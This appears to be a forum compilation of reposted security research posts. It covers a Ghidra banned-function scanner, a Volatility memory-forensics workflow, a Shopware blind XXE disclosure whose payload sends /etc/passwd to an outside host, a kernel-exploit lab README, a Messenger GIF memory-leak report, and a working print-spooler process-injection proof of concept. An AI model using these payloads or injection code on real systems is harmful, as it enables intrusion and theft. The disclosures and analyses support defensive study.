"StrCpy", "StrCpyA", "StrCpyW", "lstrcpy", "lstrcpyA", "lstrcpyW", "_tccpy", "_mbccpy", "_ftcscpy", "strcat", "strcatA", "strcatW", "wcscat", "_tcscat", "_mbscat", "StrCat", "StrCatA", "StrCatW", "lstrcat", "lstrcatA", "lstrcatW", "StrCatBuff", "StrCatBuffA", "StrCatBuffW", "StrCatChainW", "_tccat", "_mbccat", "_ftcscat", "sprintfW", "sprintfA", "wsprintf", "wsprintfW", "wsprintfA", "sprintf", "swprintf", "_stprintf", "wvsprintf", "wvsprintfA", "wvsprintfW", "vsprintf", "_vstprintf", "vswprintf", "strncpy", "wcsncpy", "_tcsncpy", "_mbsncpy", "_mbsnbcpy", "StrCpyN", "StrCpyNA", "StrCpyNW", "StrNCpy", "strcpynA", "StrNCpyA", "StrNCpyW", "lstrcpyn", "lstrcpynA", "lstrcpynW", "strncat", "wcsncat", "_tcsncat", "_mbsncat", "_mbsnbcat", "StrCatN", "StrCatNA", "StrCatNW", "StrNCat", "StrNCatA", "StrNCatW", "lstrncat", "lstrcatnA", "lstrcatnW", "lstrcatn", "gets", "_getts", "_gettws", "IsBadWritePtr", "IsBadHugeWritePtr", "IsBadReadPtr", "IsBadHugeReadPtr", "IsBadCodePtr", "IsBadStringPtr"]) # loop through program functions function = getFirstFunction() while function is not None: for banned in blist: if function.getName() == banned: print "%s found at %s" % (function.getName(),function.getEntryPoint()) #function.setComment("Badness!") function = getFunctionAfter(function) print view raw FindBannedFunctions.py hosted with ❤ by GitHub How to Run a GHIDRA Script Running one of the 238 included scripts, or adding your own script is quite easy. Simply drop the script on one of these directories. Another option is creating your own script in the “Script Manager” interface. After creating the “FindBannedFunctions.py” GHIDRA script, simply run it on any program like is shown below. The output for an example ARM program we are reversing in some of our previous IoT hacking blogs, should look something like the screen capture below. Simply double-click any of the identified memory addresses to visit the Banned Function entry point. Once there, you can press “Ctrl-Shift-F” to find any Cross-references where the Banned Function is used in the application. Happy GHIDRA scripting! And if you need any reverse engineering support — we’d love to help. Sursa: https://www.vdalabs.com/2019/03/09/automating-ghidra-writing-a-script-to-find-banned-functions/

Volatility Workflow for Basic Incident Response Posted on February 18, 2019 by admin Recently I found myself needing to do some investigations of full memory dumps. This was a pretty untried arena for me, even if it has been on my radar to learn for a while. After a bit of blindly stumbling around I found this article from Volatility-Labs which grounded me and gave me a good starting point to assess a memory dump. So take a peak, certainly there are much deeper techniques for malware analysis from memory, but this process should allow for basic analysis of any memory dump. First of course we need to collect a memory dump. There are many different tools for this if you want a write up on many of the options check out this article from Marcos Fuentes Martínez comparing acquisition tools. For my testing I chose to use DumpIt from Comae. With the executable loaded to a flash drive I attached it to the system to investigate. Here I used it with the /T flag to copy the memory in a RAW format. .\DumpIt.exe /T RAW After the memory is acquired and taken to the analysis system, the first thing we need to find out is that memory profile we need to use so that our tools known how to read the dump. In this case I will be using the open source tool Volatility to query and analyze the dump. I recommend downloading the standalone executable from their download page to avoid dependency issues. For Volatility the command to run is imageinfo, this should run for a while and then output recommended memory profiles. Now with a profile in hand we can query some data that any System Admin should be familiar with, running processes and networking activity. –profile: sets volatility to know how to process the memory dump -f: designates the file for volatility to ingest (the raw memory file) pslist: list running processes netscan: network activity, similar to a netstat on many OS’s Looking at this data out analyst may be able to notice some oddities, or be able to check with a baseline or the system owner for a list of known good activity from the system. (8443 anyone?) After querying and inspecting the live data lets take stock of the loaded executables. To do this we will dump all DLL’s and loaded modules. Here we will use the -D flag to dump the files to an output directory. dlldump: dump loaded dlls moddump: dump loaded modules Next we will use the volatility module malfind to look for code injection in running processes and also dump this to an output directory. malfind: look for injected shellcode After collecting this data we will scan it using known IOC’s. In this case I used ClamAV, Loki, and SparkCore (In order below). Each of these were able to pick up on the malicious running code. So now our front line incident responder can confirm that the system has malicious code present in memory and can escalate the case appropriately. Have questions hit me up on twitter @laskow26, and references below: https://volatility-labs.blogspot.com/2016/08/automating-detection-of-known-malware.html https://downloads.volatilityfoundation.org//releases/2.4/CheatSheet_v2.4.pdf https://unminioncurioso.blogspot.com/2019/02/dfir-choose-your-weapon-well-calculate.html Finding Metasploit’s Meterpreter Traces With Memory Forensics Sursa: https://laskowski-tech.com/2019/02/18/volatility-workflow-for-basic-incident-response/

Shopware 5.3.3: PHP Object Instantiation to Blind XXE 8 Nov 2017 by Karim El Ouerghemmi Shopware is a popular e-commerce software. It is based on PHP using technologies like Symfony 2, Doctrine and the Zend Framework. The code base of its open source community edition encompasses over 690,000 lines of code which we scanned for security vulnerabilities with our RIPS static code analyzer. The analysis of this complex code base took roughly 4 minutes. RIPS discovered two vulnerabilities: a PHP object instantiation and a SQL injection which we disclosed to the vendor and were fixed in version 5.3.4. In this blog post we investigate the rare object instantiation vulnerability (CVE-2017-18357). We describe how it can occur and how it can be exploited by an attacker in order to retrieve arbitrary files from the server. Who is affected Installations with following requirements are affected by this vulnerabilities: Shopware version <= 5.3.3 and >= 5.1 Impact - What can an attacker do In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions. Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like config.php which contains the database credentials. PHP Object Instantiation In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection. RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter sort is received in the loadPreviewAction() method of the Shopware_Controllers_Backend_ProductStream controller. Controllers/Backend/ProductStream.php 1 2 3 4 5 6 7 8 9101112 class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application { public function loadPreviewAction() { ⋮ $sorting = $this->Request()->getParam('sort'); ⋮ $streamRepo = $this->get('shopware_product_stream.repository'); $streamRepo->unserialize($sorting); ⋮ } } The input is then forwarded to the unserialize() method of Shopware\Components\ProductStream\Repository. Note that this is not a PHP Object Injection vulnerability and a custom unserialize() method. This method calls another unserialize() method of Shopware\Components\LogawareReflectionHelper. Components/ProductStream/Repository.php 12345678 namespace Shopware\Components\ProductStream; class Repository implements RepositoryInterface { public function unserialize($serializedConditions) { return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream'); } } The user input is passed along in the first parameter. Here, it ends up in a foreach loop. Components/LogawareReflectionHelper.php 1 2 3 4 5 6 7 8 9101112131415 namespace Shopware\Components; class LogawareReflectionHelper { public function unserialize($serialized, $errorSource) { classes = []; foreach($serialized as $className => $arguments) { ⋮ $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments); ⋮ } return $classes; } } Each array key of the user input is then passed to a createInstanceFromNamedArguments() method as $className. Components/LogawareReflectionHelper.php 1 2 3 4 5 6 7 8 91011121314 namespace Shopware\Components; class ReflectionHelper { public function createInstanceFromNamedArguments($className, $arguments) { $reflectionClass = new \ReflectionClass($className); ⋮ $constructorParams = $reflectionClass->getConstructor()->getParameters(); ⋮ // Check if all required parameters are given in $arguments ⋮ return $reflectionClass->newInstanceArgs($arguments); } } Finally, the keypoint is the instantiation of an object with ReflectionClass of the type specified in $className. The invokation of the newInstanceArgs() method with user controlled input in $arguments allows to specify the arguments of the constructor. ReflectionClass is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, newInstanceArgs() creates an instance of a class with given parameters. So basically at this point, we can instantiate arbitrary objects. Blind XXE Let’s take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the loadPreviewAction() method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method __wakeup() that gets called when an object is unserialized, __construct() gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called: 1. __construct() 2. __call() if method getName() not available. Else getName() 3. __destruct() So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base. However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is SimpleXMLElement. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of SimpleXMLElement, the data passed to its constructor is parsed as XML. This can be exploited to launch an XML External Entity (XXE) attack. The signature of the constructor of SimpleXMLElement looks like the following: 1 SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_prefix = false ]]]] ) As the third parameter $data_is_url might imply, it’s even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server’s privileges allow access to. xxe.xml 12345678 <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://1.3.3.7:8000/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> xxe.dtd 12 <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7:8000/?%data;'>"> First, the object instantiation vulnerability is used to instantiate a SimpleXMLElement object with the appropriate parameters. The parameter $options must be set to LIBXML_NOENT in order to activate entity substitution which is required for the XXE to work. The parameter $data_is_url is set to true and the $data points to the attackers xxe.xml file. When the XML file is parsed by the injected SimpleXMLElement object, it reads the /etc/passwd file from the file system and sends its content base64 encoded back to the attackers web server. 123 1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.xml HTTP/1.0" 200 - 1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 - 1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 - Finally, the attacker can read the content of the desired file by reviewing his web server’s log file and base64 decoding the received log entry. Time Line Date What 2017/09/13 Reported vulnerabilities in Shopware ticket system 2017/09/14 Coordinated disclosure timeline with vendor 2017/10/02 Vendor fixed issues in code base 2017/10/24 Vendor released fixed version 5.3.4 Summary We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. Using cutting-edge static code analysis techniques, we identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure. We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version 5.3.4. If you are still using an older version, we encourage to update. Sursa: https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/

Linux kernel exploitation experiments This is a playground for the Linux kernel exploitation experiments. Only basic methods. Just for fun. Contents: drill_mod.c - a small Linux kernel module with nice vulnerabilities. You can interact with it via a simple debugfs interface. drill_exploit_uaf.c - a basic use-after-free exploit. drill_exploit_nullderef.c - a basic null-ptr-deref exploit, which uses wonderful mmap_min_addr bypass by Jann Horn. N.B. Only basic exploit techniques here. So compile your kernel with x86_64_defconfig and run it with pti=off nokaslr. Have fun! Sursa: https://github.com/a13xp0p0v/kernel-hack-drill

Facebook Messenger server random memory exposure through corrupted GIF image By Dzmitry - March 06, 2019 Intro Year ago, in February 2018, I was testing Facebook Messenger for Android looking how it works with corrupted GIF images. I was inspired by Imagemagick "uninitialized memory disclosure in gif coder" bug and PoC called "gifoeb" (cool name for russian speakers). I found Messenger app only crashes with images generated by "gifoeb" tool with Nullpointer dereferrence (Facebook did't awarded bounty for DoS in Facebook Messenger for Android). Ok. I thought: what is GIF image format and how it looks, how I can generate my own image? (spoiler: 10K$ bug in Facebook Messenger for Web, but theory first) Basic GIF image I found clear description of GIF image format, the main header should look like this: Offset Length Contents 0 3 bytes "GIF" 3 3 bytes "87a" or "89a" 6 2 bytes <Logical Screen Width> 8 2 bytes <Logical Screen Height> 10 1 byte bit 0: Global Color Table Flag (GCTF) bit 1..3: Color Resolution bit 4: Sort Flag to Global Color Table bit 5..7: Size of Global Color Table: 2^(1+n) 11 1 byte <Background Color Index> 12 1 byte <Pixel Aspect Ratio> 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> ? bytes <Blocks> 1 bytes <Trailer> (0x3b) (Full good description here: http://www.onicos.com/staff/iz/formats/gif.html#header) I decided to create the basic GIF file with the minimal required fields. Making own GIF To create own GIF I've taken python to help me generate binary file 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import struct screenWidth = 640 screenHeight = 480 f = open('test.gif', 'wb') # Offset Length Contents # 0 3 bytes "GIF" # 3 3 bytes "87a" or "89a" f.write(b"GIF89a") # 6 2 bytes <Logical Screen Width> f.write(struct.pack('<h', screenWidth)) # 8 2 bytes <Logical Screen Height> f.write(struct.pack('<h', screenHeight)) # 10 1 byte bit 0: Global Color Table Flag (GCTF) # bit 1..3: Color Resolution # bit 4: Sort Flag to Global Color Table # bit 5..7: Size of Global Color Table: 2^(1+n) bits = int('00000010', 2) f.write(struct.pack('<b', bits)) # 11 1 byte <Background Color Index> f.write(struct.pack('<b', 0)) # 12 1 byte <Pixel Aspect Ratio> f.write(struct.pack('<b', 1)) # 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> # ? bytes <Blocks> # Offset Length Contents # 0 1 byte Image Separator (0x2c) f.write(struct.pack('<b', 0x2c)) # 1 2 bytes Image Left Position f.write(struct.pack('<h', 0)) # 3 2 bytes Image Top Position f.write(struct.pack('<h', 0)) # 5 2 bytes Image Width f.write(struct.pack('<h', screenWidth)) # 7 2 bytes Image Height f.write(struct.pack('<h', screenHeight)) # 8 1 byte bit 0: Local Color Table Flag (LCTF) # bit 1: Interlace Flag # bit 2: Sort Flag # bit 2..3: Reserved # bit 4..7: Size of Local Color Table: 2^(1+n) # ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one f.write(struct.pack('<b', int('00000100', 2))) # 1 byte LZW Minimum Code Size #f.write(struct.pack('<b', 1)) # [ // Blocks # 1 byte Block Size (s) #f.write(struct.pack('<b', 1)) # (s)bytes Image Data # ]* # 1 byte Block Terminator(0x00) #f.write(struct.pack('<b', 0)) # 1 bytes <Trailer> (0x3b) f.write(struct.pack('<b', 0x3b)) f.close() This script generates exactly the same image as we need. I left comments to see which headers we ignore in image, you can see that our GIF does't have image data blocks - it is empty, after color table flags goes trailer. Facebook Messenger I started to test Facebook Messenger for Android with my generated GIFs (I had variations with different sizes, header fields), but nothing happened... Until I opened Messenger web page on my laptop and saw this weird image: It was very small, increased size Wait, but our GIF does't have any content, what image I have back from Facebook? I had changed GIF size and saw this white noise image, hm, looks also weird: No TV signal Really strange. I've uploaded the same binary again and saw: Embedded TV screen in Messenger Image a bit changed. But I uploaded the same GIF in both cases. After playing with GIF screen/image sizes: Full screen picture This reminds me situation when you tried to read image from file and used width instead of height. Finally I caught this output: Semi stable TV signal in Messenger caught And I realized that I'm getting some previous buffer for GIF image, because my image does't have content body. Timeline 26 FEB 2018: report sent to Facebook Team 01 MAR 2018: triaged 09 MAR 2018: fixed 21 MAR 2018: 10k$ Sursa: https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html

Windows Process Injection: Print Spooler Posted on March 7, 2019 by odzhan Introduction Every application running on the windows operating system has a thread pool or a “worker factory” and this internal mechanism allows an application to offload management of threads typically used for asynchronous operations. The automation of thread management facilitates the support of callback functions in response to I/O events or a timer expiring. Imagine you have a process that needs to send and receive data over the network. Do we want the application to wait indefinitely to receive something from the network? ..or do we want to perform other tasks simultaneously? Thread pooling enables more efficient management of threads and specifically asynchronous callback procedures. These functions can be patched in memory and this allows one to inadvertently execute code without the creation of a new thread. Figure 1 shows notepad running under the spooler process after being patched with shellcode and invoked using print spooler API. Figure 1. Notepad running under spooler process. Finding Callback Environments Callback functions are stored in mostly opaque/undocumented structures that I haven’t taken the time to fully document here because my main objective is to perform code injection. For the print spooler, we’re only interested in the TP_ALPC structure that is used by TppAlpcpExecuteCallback located in NTDLL.dll. This function dispatches printer requests via the LPC port to LrpcIoComplete located in RPCRT4.dll. TP_ALPC contains a TP_CALLBACK_ENVIRON structure or what I’ll refer to as CBE from now on. CBEs can be found in both the stack and heap memory space of a process, so the virtual memory we need to scan has the following memory attributes. State is MEM_COMMIT Type is MEM_PRIVATE Protect is PAGE_READWRITE The data we’re looking for can be interepreted using the following structure. typedef struct _TP_CALLBACK_ENVIRON_V3 { TP_VERSION Version; PTP_POOL Pool; PTP_CLEANUP_GROUP CleanupGroup; PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; PVOID RaceDll; struct _ACTIVATION_CONTEXT *ActivationContext; PTP_SIMPLE_CALLBACK FinalizationCallback; union { DWORD Flags; struct { DWORD LongFunction : 1; DWORD Persistent : 1; DWORD Private : 30; } s; } u; TP_CALLBACK_PRIORITY CallbackPriority; DWORD Size; } TP_CALLBACK_ENVIRON_V3; However, in memory, two additional pointers are required. One is the actual callback function and the other is a callback parameter. It is likely a separate structure that also appears to be undocumented. 00000000`011fbd08 00000000`00000001 ; Version 00000000`011fbd10 00007ffc`b50c0680 ntdll!TppAlpcpCleanupGroupMemberVFuncs ; Pool 00000000`011fbd18 00000000`00000000 ; CleanupGroup 00000000`011fbd20 00000000`00000000 ; CleanupGroupCancelCallback 00000000`011fbd28 00000000`00000000 ; RaceDll 00000000`011fbd30 00000000`011fbd30 ; ActivationContext 00000000`011fbd38 00000000`011fbd30 ; FinalizationCallback 00000000`011fbd40 00000000`00000000 ; Flags 00000000`011fbd48 00000000`00000000 ; CallbackPriority 00000000`011fbd50 00000000`00000000 ; Size 00000000`011fbd58 00007ffc`b38a9240 RPCRT4!LrpcIoComplete ; Callback 00000000`011fbd60 00000000`0121c948 ; CallbackParameter The following structure is used to find valid CBEs instead of the original from the SDK. // this structure is derived from TP_CALLBACK_ENVIRON_V3, // but also includes two additional values. one to hold // the callback function and the other is a callback parameter typedef struct _TP_CALLBACK_ENVIRON_X { ULONG_PTR Version; ULONG_PTR Pool; ULONG_PTR CleanupGroup; ULONG_PTR CleanupGroupCancelCallback; ULONG_PTR RaceDll; ULONG_PTR ActivationContext; ULONG_PTR FinalizationCallback; ULONG_PTR Flags; ULONG_PTR CallbackPriority; ULONG_PTR Size; ULONG_PTR Callback; ULONG_PTR CallbackParameter; } TP_CALLBACK_ENVIRON_X; We read blocks of memory equivalent to the size of TP_CALLBACK_ENVIRON_X and validate them with some simple checks. The following function can determine if the memory looks like a valid CBE. BOOL IsValidCBE(HANDLE hProcess, PTP_CALLBACK_ENVIRONX cbe) { MEMORY_BASIC_INFORMATION mbi; SIZE_T res; // invalid version? if(cbe->Version > 5) return FALSE; // these values shouldn't be empty if(cbe->Pool == 0 || cbe->FinalizationCallback == 0) return FALSE; // these values should be equal if ((LPVOID)cbe->FinalizationCallback != (LPVOID)cbe->ActivationContext) return FALSE; // priority shouldn't exceed TP_CALLBACK_PRIORITY_INVALID if(cbe->CallbackPriority > TP_CALLBACK_PRIORITY_INVALID) return FALSE; // the pool functions should originate from read-only memory res = VirtualQueryEx(hProcess, (LPVOID)cbe->Pool, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; if (!(mbi.Protect & PAGE_READONLY)) return FALSE; // the callback function should originate from read+execute memory res = VirtualQueryEx(hProcess, (LPCVOID)cbe->Callback, &mbi, sizeof(mbi)); if (res != sizeof(mbi)) return FALSE; return (mbi.Protect & PAGE_EXECUTE_READ); } Payload The payload is written in C and simply runs notepad. Calculator isn’t used because it’s a metro application on Windows 10 that has specific requirements to work. The TP_ALPC structure passed to LrpcIoComplete isn’t documented, but does include a structure similar to TP_CALLBACK_ENVIRON_V3. Once our payload is executed, we first restore the original Callback and CallbackParameter values. This is required because once we call WinExec, it will trigger another call to LrpcIoComplete, entering into an infinite loop before crashing the process. After restoration, call WinExec, followed by LrpcIoComplete using original values. #ifdef TPOOL // Thread Pool Callback // the wrong types are used here, but it doesn't really matter typedef struct _TP_ALPC { // ALPC callback info ULONG_PTR AlpcPool; ULONG_PTR Unknown1; ULONG_PTR Unknown2; ULONG_PTR Unknown3; ULONG_PTR Unknown4; ULONG_PTR AlpcActivationContext; ULONG_PTR AlpcFinalizationCallback; ULONG_PTR AlpcCallback; ULONG_PTR Unknown5; // callback environment ULONG_PTR Version; ULONG_PTR Pool; ULONG_PTR CleanupGroup; ULONG_PTR CleanupGroupCancelCallback; ULONG_PTR RaceDll; ULONG_PTR ActivationContext; ULONG_PTR FinalizationCallback; ULONG_PTR Flags; ULONG_PTR CallbackPriority; ULONG_PTR Size; ULONG_PTR Callback; ULONG_PTR CallbackParameter; } TP_ALPC; typedef struct _tp_param_t { ULONG_PTR Callback; ULONG_PTR CallbackParameter; } tp_param; typedef TP_ALPC TP_ALPC, *PTP_ALPC; typedef void (WINAPI *LrpcIoComplete_t)(LPVOID, LPVOID, LPVOID, LPVOID); VOID TpCallBack(LPVOID tp_callback_instance, LPVOID param, PTP_ALPC alpc, LPVOID unknown2) #endif { WinExec_t pWinExec; DWORD szWinExec[2], szNotepad[3]; #ifdef TPOOL LrpcIoComplete_t pLrpcIoComplete; tp_param *tp=(tp_param*)param; ULONG_PTR op; // param should contain pointer to tp_param pLrpcIoComplete = (LrpcIoComplete_t)tp->Callback; op = tp->CallbackParameter; // restore original values // this will indicate we executed ok, // but is also required before the call to WinExec alpc->Callback = tp->Callback; alpc->CallbackParameter = tp->CallbackParameter; #endif // now call WinExec to start notepad szWinExec[0] = *(DWORD*)"WinE"; szWinExec[1] = *(DWORD*)"xec\0"; szNotepad[0] = *(DWORD*)"note"; szNotepad[1] = *(DWORD*)"pad\0"; pWinExec = (WinExec_t)xGetProcAddress(szWinExec); if(pWinExec != NULL) { pWinExec((LPSTR)szNotepad, SW_SHOW); } // finally, pass the original message on.. #ifdef TPOOL pLrpcIoComplete(tp_callback_instance, (LPVOID)alpc->CallbackParameter, alpc, unknown2); #endif #ifndef TPOOL return 0; #endif } Deploying and Triggering Payload Here, we use a conventional method of sharing the payload/shellcode with spooler process. This consists of: OpenProcess(“spoolsv.exe”) VirtualAllocEx(payloadSize, PAGE_EXECUTE_READWRITE) WriteProcessMemory(payload, payloadSize) Once we have a valid CBE, we patch the Callback pointer with address to our payload and try invoke it using the print spooler API. Although OpenPrinter is used in the following code, you could probably use any other API that involves interaction with the print spooler service. At the abstraction layer, interaction with the print spooler service is conducted over Local Procedure Call (LPC) which is an interprocess communication. Over the network uses Remote Procedure Call (RPC) but we’re obviously not injecting over network. // try inject and run payload in remote process using CBE BOOL inject(HANDLE hp, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) { LPVOID cs = NULL; BOOL bStatus = FALSE; TP_CALLBACK_ENVIRONX cpy; // local copy of cbe SIZE_T wr; HANDLE phPrinter = NULL; tp_param tp; // allocate memory in remote for payload and callback parameter cs = VirtualAllocEx(hp, NULL, payloadSize + sizeof(tp_param), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs != NULL) { // write payload to remote process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // backup CBE CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX)); // copy original callback address and parameter tp.Callback = cpy.Callback; tp.CallbackParameter = cpy.CallbackParameter; // write callback+parameter to remote process WriteProcessMemory(hp, (LPBYTE)cs + payloadSize, &tp, sizeof(tp), &wr); // update original callback with address of payload and parameter cpy.Callback = (ULONG_PTR)cs; cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + payloadSize; // update CBE in remote process WriteProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr); // trigger execution of payload if(OpenPrinter(NULL, &phPrinter, NULL)) { ClosePrinter(phPrinter); } // read back the CBE ReadProcessMemory(hp, ds, &cpy, sizeof(cpy), &wr); // restore the original cbe WriteProcessMemory(hp, ds, cbe, sizeof(cpy), &wr); // if callback pointer is the original, we succeeded. bStatus = (cpy.Callback == cbe->Callback); // release memory for payload VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE); } return bStatus; } Figure 2 shows an attempt to inject code by four different DLL before finally succeeding with RPCRT4.dll. Figure 2. Code injection via Callback Environment The code shown here is only a proof of concept and could be refined to be more elegant or be applied to other processes that use thread pooling. I only use the print spooler here, but of course other processes use thread pooling and could also be leveraged for code injection. Sources can be found here. Update To use the same method of injection against almost any other process that uses ALPC, you can connect directly to the ALPC port. /** Get a list of ALPC ports with names */ DWORD GetALPCPorts(process_info *pi) { ULONG len=0, total=0; NTSTATUS status; LPVOID list=NULL; DWORD i; HANDLE hObj; PSYSTEM_HANDLE_INFORMATION hl; POBJECT_NAME_INFORMATION objName; pi->ports.clear(); // get a list of handles for the local system for(len=MAX_BUFSIZ;;len+=MAX_BUFSIZ) { list = xmalloc(len); status = NtQuerySystemInformation( SystemHandleInformation, list, len, &total); // break from loop if ok if(NT_SUCCESS(status)) break; // free list and continue xfree(list); } hl = (PSYSTEM_HANDLE_INFORMATION)list; objName = (POBJECT_NAME_INFORMATION)xmalloc(8192); // for each handle for(i=0; i<hl->NumberOfHandles; i++) { // skip if process ids don't match if(hl->Handles[i].UniqueProcessId != pi->pid) continue; // skip if the type isn't an ALPC port // note this value might be different on other systems. // this was tested on 64-bit Windows 10 if(hl->Handles[i].ObjectTypeIndex != 45) continue; // duplicate the handle object status = NtDuplicateObject( pi->hp, (HANDLE)hl->Handles[i].HandleValue, GetCurrentProcess(), &hObj, 0, 0, 0); // continue with next entry if we failed if(!NT_SUCCESS(status)) continue; // try query the name status = NtQueryObject(hObj, ObjectNameInformation, objName, 8192, NULL); // got it okay? if(NT_SUCCESS(status) && objName->Name.Buffer!=NULL) { // save to list pi->ports.push_back(objName->Name.Buffer); } // close handle object NtClose(hObj); } // free list of handles xfree(objName); xfree(list); return pi->ports.size(); } Connecting to ALPC port // connect to ALPC port BOOL ALPC_Connect(std::wstring path) { SECURITY_QUALITY_OF_SERVICE ss; NTSTATUS status; UNICODE_STRING server; ULONG MsgLen=0; HANDLE h; ZeroMemory(&ss, sizeof(ss)); ss.Length = sizeof(ss); ss.ImpersonationLevel = SecurityImpersonation; ss.EffectiveOnly = FALSE; ss.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; RtlInitUnicodeString(&server, path.c_str()); status = NtConnectPort(&h, &server, &ss, NULL, NULL, (PULONG)&MsgLen, NULL, NULL); NtClose(h); return NT_SUCCESS(status); } Deploying/Triggering Same as before except we have to try multiple ALPC ports instead of just using print spooler API. // try inject and run payload in remote process using CBE BOOL ALPC_deploy(process_info *pi, LPVOID ds, PTP_CALLBACK_ENVIRONX cbe) { LPVOID cs = NULL; BOOL bInject = FALSE; TP_CALLBACK_ENVIRONX cpy; // local copy of cbe SIZE_T wr; tp_param tp; DWORD i; // allocate memory in remote for payload and callback parameter cs = VirtualAllocEx(pi->hp, NULL, pi->payloadSize + sizeof(tp_param), MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs != NULL) { // write payload to remote process WriteProcessMemory(pi->hp, cs, pi->payload, pi->payloadSize, &wr); // backup CBE CopyMemory(&cpy, cbe, sizeof(TP_CALLBACK_ENVIRONX)); // copy original callback address and parameter tp.Callback = cpy.Callback; tp.CallbackParameter = cpy.CallbackParameter; // write callback+parameter to remote process WriteProcessMemory(pi->hp, (LPBYTE)cs + pi->payloadSize, &tp, sizeof(tp), &wr); // update original callback with address of payload and parameter cpy.Callback = (ULONG_PTR)cs; cpy.CallbackParameter = (ULONG_PTR)(LPBYTE)cs + pi->payloadSize; // update CBE in remote process WriteProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // trigger execution of payload for(i=0;i<pi->ports.size(); i++) { ALPC_Connect(pi->ports[i]); // read back the CBE ReadProcessMemory(pi->hp, ds, &cpy, sizeof(cpy), &wr); // if callback pointer is the original, we succeeded. bInject = (cpy.Callback == cbe->Callback); if(bInject) break; } // restore the original cbe WriteProcessMemory(pi->hp, ds, cbe, sizeof(cpy), &wr); // release memory for payload VirtualFreeEx(pi->hp, cs, pi->payloadSize+sizeof(tp), MEM_RELEASE); } return bInject; } Sources can be found here. Sursa: https://modexp.wordpress.com/2019/03/07/process-injection-print-spooler/

Tomcat exploit variant : host-manager During an internal audit mission, I was led to exploit a Windows based Tomcat instance. Now usually, exploiting a Tomcat instance involves accessing the “manager”, which is suite a simple exploit. However, in this context, the manager was not accessible (403 HTTP error). But, and this is where it gets interesting, the host-manager was reachable. Context : Our target -> Windows 2012R2 server (192.168.56.31) Command Control C&C (Our Machine) -> Ubuntu 16.04 (192.168.56.1) Tomcat Version -> Latest release at the time of writing (8.5.37) Reconnaissance A nmap scan on the target host reveals that Tomcat is listening on the 8080 port. This kind of target is ideal when auditing, because as a rule of thumb Tomcat is running with “nt authority\system” rights on the Windows host, which enables us to gain total control on the server should we succeed in breaching it. This in turn grants us passwords and hashes that will then enable us to move forward in our privilege escalation in the network. Authentification On first discovery of a Tomcat instance, the first action as an auditor is to try and authenticate through the manager. We generally try default credentials such as admin/admin or tomcat/tomcat. In this instance, I got an “Access Refused 403” when trying to access the manager with the “tomcat/tomcat” combo. But, when I try the same thing on the host-manager …. … boom, HTTP 200, we are in. A few techniques are available to automatize the bruteforce phase: Module Metasploit : 